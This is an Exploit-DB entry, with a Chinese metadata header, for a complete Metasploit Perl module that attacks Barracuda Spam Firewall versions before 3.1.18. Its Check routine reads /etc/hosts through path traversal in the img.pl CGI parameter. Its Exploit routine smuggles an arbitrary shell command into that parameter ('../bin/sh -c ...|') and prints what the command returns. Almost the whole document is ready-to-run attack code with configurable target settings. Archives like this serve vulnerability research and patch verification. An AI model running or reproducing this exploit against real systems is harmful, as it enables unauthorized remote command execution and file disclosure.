标题: Barracuda Spam Firewall < 3.1.18 - Command Execution (Metasploit) EDB-ID: 1236 CVE: 2005-2848 2005-2847 类型: WEBAPPS 平台: CGI 发布日期: 2005-09-27 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::barracuda_img_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
 'Name'     => 'Barracuda IMG.PL Remote Command Execution',
 'Version'  => '$Revision: 1.0 $',
 'Authors'  => [ 'Nicolas Gregoire <ngregoire@exaprobe.com>' ],
 'Arch'     => [ 'x86' ],
 'OS'       => [ 'linux' ],
 'Priv'     => 0,
 'UserOpts' =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 8000],
  'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  'IMG'   => [1, 'DATA', 'Full path of img.pl script', '/cgi-bin/img.pl'],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },

 'Description' => Pex::Text::Freeform(qq{
  This module exploits an arbitrary command execution vulnerability in the
  Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
}),

 'Refs' =>
   [
  ['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
  ['CVE', '2005-2847'],
  ['OSVDB', '19279'],
  ['BID', '14712'],
  ['NSS', '19556'],
   ],

 'Payload' =>
   {
  'Space' => 512,
  'Keys'  => ['cmd'],
   },

 'Keys' => ['barracuda'],
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Check {
 my $self = shift;
 my $target_host    = $self->GetVar('RHOST');
 my $vhost          = $self->VHost;
 my $target_port    = $self->GetVar('RPORT');
 my $img            = $self->GetVar('IMG');

 my $request =
   "GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
   "Accept: */*\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
   "Host: $vhost:$target_port\r\n".
   "Connection: Close\r\n".
   "\r\n";

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr' => $target_host,
  'PeerPort' => $target_port,
  'SSL'      => $self->GetVar('SSL'),
   );

 if ($s->IsError){
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return $self->CheckCode('Connect');
 }

 $self->PrintLine("[*] Establishing a connection to the target...");

 $s->Send($request);
 my $results = $s->Recv(-1, 20);
 $s->Close();
 
 if (($results =~ /HTTP\/1\..\s+200/) && ($results =~/127\.0\.0\.1/)) {

  $self->PrintLine("[*] Vulnerable server detected!");
  return $self->CheckCode('Confirmed');
  
 } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

  $self->PrintLine("[*] The Barraccuda application was not found.");
  return $self->CheckCode('Safe');
 }

 $self->PrintLine("[*] Generic error...");
 return $self->CheckCode('Generic');
}

sub Exploit {
 my $self = shift;
 my $target_host    = $self->GetVar('RHOST');
 my $vhost          = $self->VHost;
 my $target_port    = $self->GetVar('RPORT');
 my $img            = $self->GetVar('IMG');
 my $encodedPayload = $self->GetVar('EncodedPayload');
 my $cmd            = $encodedPayload->RawPayload;

 $img = $img."?f=".$self->URLEncode(qq#../bin/sh -c "echo 'YYY';#. $cmd .qq#;echo 'YYY'"|#);

 my $request =
   "GET $img HTTP/1.1\r\n".
   "Accept: */*\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
   "Host: $vhost:$target_port\r\n".
   "Connection: Close\r\n".
   "\r\n";

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr' => $target_host,
  'PeerPort' => $target_port,
  'SSL'      => $self->GetVar('SSL'),
   );

 if ($s->IsError){
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $self->PrintLine("[*] Establishing a connection to the target...");
 $s->Send($request);
 my $results = $s->Recv(-1, 20);
 
 if ($results =~ /HTTP\/1\.. 200 OK/im) {

  (undef, $results) = split(/YYY/, $results);
  
  $self->PrintLine(' ');
  $self->PrintLine("$results");
  $self->PrintLine(' ');

  $self->PrintLine("[*] End of data.");

 } else {
  $self->PrintLine(' ');
  $self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
 }

 $s->Close();
 return;
}

sub URLEncode {
 my $self = shift;
 my $data = shift;
 my $res;

 foreach my $c (unpack('C*', $data)) {
  if (
   ($c >= 0x30 && $c <= 0x39) ||
   ($c >= 0x41 && $c <= 0x5A) ||
   ($c >= 0x61 && $c <= 0x7A)
    ) {
   $res .= chr($c);
  } else {
   $res .= sprintf("%%%.2x", $c);
  }
 }
 return $res;
}

sub VHost {
 my $self = shift;
 my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
 return $name;
}

1;

# milw0rm.com [2005-09-27] URL: https://www.exploit-db.com/exploits/1236